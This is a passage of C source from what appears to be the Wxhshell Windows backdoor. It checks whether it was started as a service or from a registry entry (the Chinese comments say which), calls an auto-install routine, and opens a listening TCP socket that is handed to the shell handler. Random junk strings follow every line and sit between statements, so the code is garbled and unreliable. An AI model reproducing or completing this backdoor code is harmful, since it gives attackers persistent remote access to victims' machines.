ULONG InheritedFromUniqueProcessId; DEbMb6)U
} PROCESS_BASIC_INFORMATION; PQa0m)H@
tY:
Nq*@
PROCNTQSIP NtQueryInformationProcess; zWH)\>X59
_,IjB/PR(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ib~i ^_p
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lQBEq"7$
7?{y&sf
HANDLE hProcess; @$'pMg
PROCESS_BASIC_INFORMATION pbi; TiF+rA{t
MTKNIv|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k>7bPR5Mw
if(NULL == hInst ) return 0; n1PBpM9!
+vxOCN4}v
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZhoV,/\+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7mf&`.C
np
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V )1.)XC
!zllvtK4
if (!NtQueryInformationProcess) return 0; ,aa
4Kh
?~4x/d%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;8dffsyq
if(!hProcess) return 0; ;Rpib[m
3W]gn8
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f*xr0l
:0QDV~bs
CloseHandle(hProcess); T\g+w\N
CWocb=E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3u& ,3:
if(hProcess==NULL) return 0; GC' e
ir"t@"Y;o
HMODULE hMod; =5Nh}o(l?
char procName[255]; O ;[Mi
unsigned long cbNeeded; GM?s8yZ<
aKWxL e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^g5E&0a`g
k!}(a0h
CloseHandle(hProcess); 8A.7q
EmR82^_:
if(strstr(procName,"services")) return 1; // 以服务启动 d~QM@<SV
w;j<$<4=7
return 0; // 注册表启动 >TY;l3ew
} _U-`/r o
0y+^{@lU
// 主模块 @!u{>!~0
int StartWxhshell(LPSTR lpCmdLine) +L`}(yLJ)9
{ I:G8B5{J
SOCKET wsl; sZT~5c8
BOOL val=TRUE; ^D6TeH
int port=0; goA=U
struct sockaddr_in door; elQjPvb
Z\xnPhV
if(wscfg.ws_autoins) Install(); yCav;ZS_
`lWGwFg g(
port=atoi(lpCmdLine); I`H&b&
.`
Sk/@w[
if(port<=0) port=wscfg.ws_port; )$bF*
BV:Ca34&
WSADATA data; BQ)>}YHk
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W/hzo*o'g
{sGEopd8]q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ybw\^t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7 QNx*8 p
door.sin_family = AF_INET; X% j`rQk`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); yF?O+9R
A
door.sin_port = htons(port); "a(4])
Z,e|L4&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R54ae:8
closesocket(wsl); I;%1xdPt
return 1; l nHY?y7{
} peBHZJ``RX
#qYgQ<TM!
if(listen(wsl,2) == INVALID_SOCKET) { PA
?2K4
closesocket(wsl); <%Nf"p{K
return 1; t(6]j#5
} hxH6Ii]\
Wxhshell(wsl); $qz{L~ <
WSACleanup(); iD G&